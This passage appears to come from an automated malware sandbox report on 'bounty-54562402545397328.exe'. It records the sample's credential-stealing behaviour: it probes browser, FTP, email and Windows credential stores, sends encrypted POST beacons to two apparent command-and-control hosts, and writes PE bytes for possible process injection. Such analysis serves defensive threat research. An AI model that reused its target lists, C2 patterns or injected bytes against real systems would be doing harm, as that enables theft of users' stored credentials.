"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp")42:T88a,Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeCreateTokenPrivilege" (Indicator: "SeCreateTokenPrivilege"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeIncreaseQuotaPrivilege" (Indicator: "SeIncreaseQuotaPrivilege"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeAssignPrimaryTokenPrivilege" (Indicator: "SeAssignPrimaryTokenPrivilege"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeCreateTokenPrivilege" (Indicator: "SeCreateTokenPrivilege"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeIncreaseQuotaPrivilege" (Indicator: "SeIncreaseQuotaPrivilege"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeAssignPrimaryTokenPrivilege" (Indicator: "SeAssignPrimaryTokenPrivilege"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp")43:Tb02,"bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGHEAPFLAGS"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "bounty-54562402545397328.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "")44:T26be,"POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0 Host: criminallawdc.com Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "CRYPTED0" HTTP/1.1 404 Not Found Date: Sun 01 Dec 2024 22:35:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Set-Cookie: PHPSESSID=2534ad9ff63b09ba8720159cd5ed1f23; path=/ Pragma: no-cache Expires: Wed 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache must-revalidate max-age=0 WPO-Cache-Status: not cached WPO-Cache-Message: The request method was not GET (POST) In the settings caching is disabled for matches for one of the current request's GET parameters Link: ; rel="https://api.w.org/" CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8eb68cc78bb35c1c-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D22656E223E0A202020203C686561643E0A20202020202020203C6D65746120636861727365......., "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0 Host: criminallawdc.com Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "CRYPTED0" HTTP/1.1 404 Not Found Date: Sun, 01 Dec 2024 22:35:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Set-Cookie: PHPSESSID=ce8a1ddd64f2423f4ddf231e032e08e8; path=/ Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 WPO-Cache-Status: not cached WPO-Cache-Message: The request method was not GET (POST), In the settings, caching is disabled for matches for one of the current request's GET parameters Link: ; rel="https://api.w.org/" CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8eb68cd0fd7e2344-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D22656E223E0A202020203C686561643E0A20202020202020203C6D65746120636861727365....... "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0 Host: criminallawdc.com Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "CRYPTED0" HTTP/1.1 404 Not Found Date: Sun 01 Dec 2024 22:35:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Set-Cookie: PHPSESSID=64763e1d32f87b86f02af509b37b9bed; path=/ Pragma: no-cache Expires: Wed 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache must-revalidate max-age=0 WPO-Cache-Status: not cached WPO-Cache-Message: The request method was not GET (POST) In the settings caching is disabled for matches for one of the current request's GET parameters Link: ; rel="https://api.w.org/" CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8eb68cda3d987adc-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D22656E223E0A202020203C686561643E0A20202020202020203C6D65746120636861727365......., "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0 Host: choiceonesupport.org Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "" HTTP/1.0 301 Moved Permanently Location: https://choiceonesupport.org/default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 X-Seen-By: T7xPrjRFKDMHVv938PYVfx9slopJdhD+WySraMrpIY8= Connection: close Content-Length: 0 with response body ==>......., "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0 Host: choiceonesupport.org Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "" HTTP/1.0 301 Moved Permanently Location: https://choiceonesupport.org/default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 X-Seen-By: dwc60INy8NFddnU/0WdlOB9slopJdhD+WySraMrpIY8= Connection: close Content-Length: 0 with response body ==>......., "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0 Host: choiceonesupport.org Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "" HTTP/1.0 301 Moved Permanently Location: https://choiceonesupport.org/default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 X-Seen-By: 1ev8u3tblITHmgXkyGXE9h9slopJdhD+WySraMrpIY8= Connection: close Content-Length: 0 with response body ==>......., "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0 Host: criminallawdc.com Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "CRYPTED0" HTTP/1.1 404 Not Found Date: Sun, 01 Dec 2024 22:35:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Set-Cookie: PHPSESSID=78c556016fadc45e20466eb7661efd3a; path=/ Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 WPO-Cache-Status: not cached WPO-Cache-Message: The request method was not GET (POST), In the settings, caching is disabled for matches for one of the current request's GET parameters Link: ; rel="https://api.w.org/" CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8eb68d8e9d09964f-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D22656E223E0A202020203C686561643E0A20202020202020203C6D65746120636861727365....... "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0 Host: criminallawdc.com Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "CRYPTED0" HTTP/1.1 404 Not Found Date: Sun 01 Dec 2024 22:35:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Set-Cookie: PHPSESSID=783eef7e42f5463eaaf35d2cc983efde; path=/ Pragma: no-cache Expires: Wed 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache must-revalidate max-age=0 WPO-Cache-Status: not cached WPO-Cache-Message: The request method was not GET (POST) In the settings caching is disabled for matches for one of the current request's GET parameters Link: ; rel="https://api.w.org/" CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8eb68d9a2f7debe2-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D22656E223E0A202020203C686561643E0A20202020202020203C6D65746120636861727365......., "POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0 Host: criminallawdc.com Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "CRYPTED0" HTTP/1.1 404 Not Found Date: Sun, 01 Dec 2024 22:35:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Set-Cookie: PHPSESSID=bd488cac79ca11bd491d702f73e500fe; path=/ Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 WPO-Cache-Status: not cached WPO-Cache-Message: The request method was not GET (POST), In the settings, caching is disabled for matches for one of the current request's GET parameters Link: ; rel="https://api.w.org/" CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8eb68da55ba86453-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D22656E223E0A202020203C686561643E0A20202020202020203C6D65746120636861727365....... "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0 Host: choiceonesupport.org Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "" HTTP/1.0 301 Moved Permanently Location: https://choiceonesupport.org/default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 X-Seen-By: ui2Pjuc3zC1HEw7V2qXeyh9slopJdhD+WySraMrpIY8= Connection: close Content-Length: 0 with response body ==>....... "POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 HTTP/1.0 Host: choiceonesupport.org Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 196 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)" with payload::==> "CRYPTED0" HTTP/1.0 301 Moved Permanently Location: https://choiceonesupport.org/default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6 X-Seen-By: 1ev8u3tblITHmgXkyGXE9h9slopJdhD+WySraMrpIY8= Connection: close Content-Length: 0 with response body ==>.......45:T81a,"bounty-54562402545397328.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\Ipswitch\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\ProgramData\Ipswitch\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\Users\%OSUSER%\AppData\Local\Ipswitch\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\CuteFTP\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\ProgramData\CuteFTP\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\Users\%OSUSER%\AppData\Local\CuteFTP\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\Program Files (x86)\CuteFTP\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\Users\%OSUSER%\AppData\Local\BulletProof Software\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\BulletProof Software\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\ProgramData\BulletProof Software\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\SmartFTP\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\ProgramData\SmartFTP\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\Users\%OSUSER%\AppData\Local\SmartFTP\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\TurboFTP\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\ProgramData\TurboFTP\" (DesiredAccess: 1048577, OpenOptions: 16417) "bounty-54562402545397328.exe" opened file "C:\Users\%OSUSER%\AppData\Local\TurboFTP\" (DesiredAccess: 1048577, OpenOptions: 16417)46:T8a3,"bounty-54562402545397328.exe wrote PE header bytes ("4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010300672afc500000000000000000e0000f010b01023200900000001000000010010070a001000020010000b001000000400000100000000200000400000000000000040000000000000000c00100001000000000000002000000000010000010000000001000001000000000000010000000000000000000000000b001002002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000100100001000000000000000020000000000000000000000000000800000e0555058310000000000900000002001000082000000020000000000000000000000000000400000e055505832000000000010000000b001000004000000840000000000000000000000000000400000c0332e303800555058210d090208615a4b9c46365e741c8701004e800000006201002607002bfeffffff558bec5058680f104000f87201c3ffff75086a016a00e80700f05ec9c20400eeff43ce1e2e837d0800740b8b55088b12292fe91eecff52082383c4f845550c8fdb5accfd45f8c745fc00002d521310024b96b165fcf838140c033bdb908e32f839583bb0b78d12506a023a8b11760672944dcc3d01bd20b7e605dd97785099d6fe6f971d5815f803550c3bd076062bc065edb2197beeb8014a08e5fc3b11b0f7834d104cb60bc07504d173edc7c65a261b0c530c85c07813b3ecdb8dfdfc3b451075074eeb5beb025f0c562c936c18566493110c06657b5b3b6a2f245e250c100b6b63b10a3c0f8b5be5972d636371566f107937fccbbabb65448303f02985c448c8ae2d0d4481efcb80141267ddf721146a0303682780e4efdac17ddb26893f40e6081e571c78b6d8d69408853d23fc2c0c13066b080e0b32405ab66c9bc9230c017c94f8bc2524dd40186084992e6384c302995e3f89b83c2365cba31e84da12c6b06f802c0c2fbfd9cb2e61f5187e18135f7d0bf22c5d02c43414833a00bb2f09edfff5ddcf251921024dd84d7816cb196a04911b165ef81f0322770c8338d1077f0fc8b20cd809f7082b02feb9b2db47080fb71486c42c0196b58f64ff060fb6142a47c006e9a9100cf5a384d387dd0b1ac7020feb0d1511688e8091895afb8c567ecb503b") to a remote process "C:\bounty-54562402545397328.exe" which might be an injection preparation attempt ...47:T422,"bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal" "bounty-54562402545397328.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" "bounty-54562402545397328.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data For Account" "bounty-54562402545397328.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data For Account-journal" "bounty-54562402545397328.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data-journal"48:T406,"bounty-54562402545397328.exe" called "CredEnumerateA" with parameters {"Filter": "Microsoft_WinInet_*" "Flags": "0" "Count": "00000000" "Credential": "00000000f0fe180005a7400028ed71006c149a004001000020ff180072f5400028ed710014ff18009ef54000e5f5400014ff1800"} "bounty-54562402545397328.exe" called "CredEnumerateA" with parameters {"Filter": "TERMSRV/*" "Flags": "0" "Count": "00000000" "Credential": "00000000f0fe1800a8cb400028ed71004001000020ff180072f5400028ed710014ff18009ef54000e5f5400014ff180020ff1800"} "bounty-54562402545397328.exe" called "CredEnumerateA" with parameters {"Filter": "Microsoft_WinInet_*" "Flags": "0" "Count": "00000000" "Credential": "00000000b4fe180005a74000387573004ceff50140010000e4fe180072f5400038757300d8fe18009ef54000e5f54000d8fe1800"} "bounty-54562402545397328.exe" called "CredEnumerateA" with parameters {"Filter": "TERMSRV/*" "Flags": "0" "Count": "00000000" "Credential": "00000000b4fe1800a8cb40003875730040010000e4fe180072f5400038757300d8fe18009ef54000e5f54000d8fe1800e4fe1800"}49:Tf7e,"\Ipswitch\WS_FTP" (Indicator: "\ipswitch\") in Source: 10198-209-00404C51 "Software\MAS-Soft\FTPInfo\Setup" (Indicator: "\ftpinfo") in Source: 10198-399-0040DB52 "\FTPInfo" (Indicator: "\ftpinfo") in Source: 10198-399-0040DB52 "Software\FlashPeak\BlazeFtp\Settings" (Indicator: "\blazeftp\") in Source: 10198-370-0040C413 "wiseftpsrvs.bin" (Indicator: "wiseftpsrvs.bin") in Source: 10198-294-00408B4E "\Visicom Media" (Indicator: "\visicom media") in Source: 10198-365-0040C26F "\RockMelt" (Indicator: "\rockmelt") in Source: 10198-358-0040BF3E "\VanDyke\Config\Sessions" (Indicator: "\vandyke\config\sessions") in Source: 10198-242-004065E1 "\Estsoft\ALFTP" (Indicator: "\estsoft\alftp") in Source: 10198-318-00409E56 "wiseftpsrvs.ini" (Indicator: "wiseftpsrvs.ini") in Source: 10198-293-00408A0C "wiseftp.ini" (Indicator: "wiseftp.ini") in Source: 10198-293-00408A0C "Software\RIT\The Bat!\Users depot" (Indicator: "\the bat!\") in Source: 10198-425-0040EB5C "\FTP Explorer" (Indicator: "\ftp explorer") in Source: 10198-240-0040651B "Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224" (Indicator: "\ftp explorer") in Source: 10198-240-0040651B "Software\FTP Explorer\Profiles" (Indicator: "\ftp explorer") in Source: 10198-240-0040651B "ftpsite.ini" (Indicator: "ftpsite.ini") in Source: 10198-400-0040DBC1 "\GlobalSCAPE\CuteFTP" (Indicator: "\cuteftp") in Source: 10198-213-00404F20 "\GlobalSCAPE\CuteFTP Pro" (Indicator: "\cuteftp") in Source: 10198-213-00404F20 "\GlobalSCAPE\CuteFTP Lite" (Indicator: "\cuteftp") in Source: 10198-213-00404F20 "\CuteFTP" (Indicator: "\cuteftp") in Source: 10198-213-00404F20 "\FTPGetter" (Indicator: "\ftpgetter") in Source: 10198-317-00409E1B "NppFTP.xml" (Indicator: "nppftp.xml") in Source: 10198-395-0040D817 "\RhinoSoft.com" (Indicator: "\rhinosoft.com") in Source: 10198-295-00408BD2 "FTPVoyager.ftp" (Indicator: "ftpvoyager.ftp") in Source: 10198-295-00408BD2 "wcx_ftp.ini" (Indicator: "wcx_ftp.ini") in Source: 10198-204-00404724 "Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar" (Indicator: "\cuteftp") in Source: 10198-214-00404FC9 "Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar" (Indicator: "\cuteftp") in Source: 10198-214-00404FC9 "Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar" (Indicator: "\cuteftp") in Source: 10198-214-00404FC9 "Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar" (Indicator: "\cuteftp") in Source: 10198-214-00404FC9 "Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar" (Indicator: "\cuteftp") in Source: 10198-214-00404FC9 "Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar" (Indicator: "\cuteftp") in Source: 10198-214-00404FC9 "\32BitFtp.ini" (Indicator: "32bitftp.ini") in Source: 10198-267-00407A68 "Software\FTPWare\COREFTP\Sites" (Indicator: "\coreftp\") in Source: 10198-238-00406264 "RushSite.xml" (Indicator: "rushsite.xm") in Source: 10198-244-004066DF "\FTPRush" (Indicator: "\ftprush") in Source: 10198-244-004066DF "NovaFTP.db" (Indicator: "novaftp.db") in Source: 10198-411-0040E1EF "\INSoftware\NovaFTP" (Indicator: "\novaftp") in Source: 10198-411-0040E1EF "Software\BPFTP\Bullet Proof FTP\Main" (Indicator: "\bullet proof ftp") in Source: 10198-228-004058D0 "Software\BulletProof Software\BulletProof FTP Client\Main" (Indicator: "\bulletproof software\") in Source: 10198-228-004058D0 "Software\BPFTP\Bullet Proof FTP\Options" (Indicator: "\bullet proof ftp") in Source: 10198-228-004058D0 "Software\BulletProof Software\BulletProof FTP Client\Options" (Indicator: "\bulletproof software\") in Source: 10198-228-004058D0 "ftplist.txt" (Indicator: "ftplist.txt") in Source: 10198-225-004057C6 "fireFTPsites.dat" (Indicator: "fireftpsites.dat") in Source: 10198-309-004099CA "\sitemanager.xml" (Indicator: "sitemanager.xml") in Source: 10198-220-004053AD "\recentservers.xml" (Indicator: "recentservers.xml") in Source: 10198-220-004053AD "ftplast.osd" (Indicator: "ftplast.osd") in Source: 10198-258-004072F24a:T4df,"bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\FAR\PLUGINS\FTP\HOSTS") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\FAR2\PLUGINS\FTP\HOSTS") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\GHISLER\WINDOWS COMMANDER") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\GHISLER\WINDOWS COMMANDER") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\GHISLER\WINDOWS COMMANDER") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\GHISLER\TOTAL COMMANDER") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\GHISLER\TOTAL COMMANDER") "bounty-54562402545397328.exe" (Path: "HKLM\SOFTWARE\GHISLER\TOTAL COMMANDER") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\GLOBALSCAPE\CUTEFTP 6 HOME\QCTOOLBAR") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\GLOBALSCAPE\CUTEFTP 6 PROFESSIONAL\QCTOOLBAR") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\GLOBALSCAPE\CUTEFTP 7 HOME\QCTOOLBAR") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\GLOBALSCAPE\CUTEFTP 7 PROFESSIONAL\QCTOOLBAR") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\GLOBALSCAPE\CUTEFTP 8 HOME\QCTOOLBAR") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\GLOBALSCAPE\CUTEFTP 8 PROFESSIONAL\QCTOOLBAR")4b:T1155,"bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS LIVE MAIL") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET ACCOUNT MANAGER\ACCOUNTS") "bounty-54562402545397328.exe" (Path: "HKCU\IDENTITIES\{BABB44F0-36EF-42C7-B3A3-411357E9DDF4}\SOFTWARE\MICROSOFT\INTERNET ACCOUNT MANAGER\ACCOUNTS") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\OUTLOOK\OMI ACCOUNT MANAGER\ACCOUNTS") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\MICROSOFT OUTLOOK INTERNET SETTINGS") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING 